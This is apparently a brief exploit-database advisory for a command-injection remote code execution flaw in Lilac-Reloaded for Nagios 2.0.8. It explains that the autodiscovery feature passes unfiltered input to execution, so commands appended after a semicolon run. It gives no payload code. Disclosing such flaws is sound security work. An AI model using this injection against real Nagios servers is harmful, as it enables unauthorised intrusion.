# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)  
# Google Dork: N/A  
# Date: 2023-04-13  
# Exploit Author: max / Zoltan Padanyi  
# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit  
# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download  
# Version: 2.0.8  
# Tested on: Debian 7.6  
# CVE : N/A  
  
The autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;  
  
Use at your own risk!  
  
RCA - wild exec is ongoing without any filtering
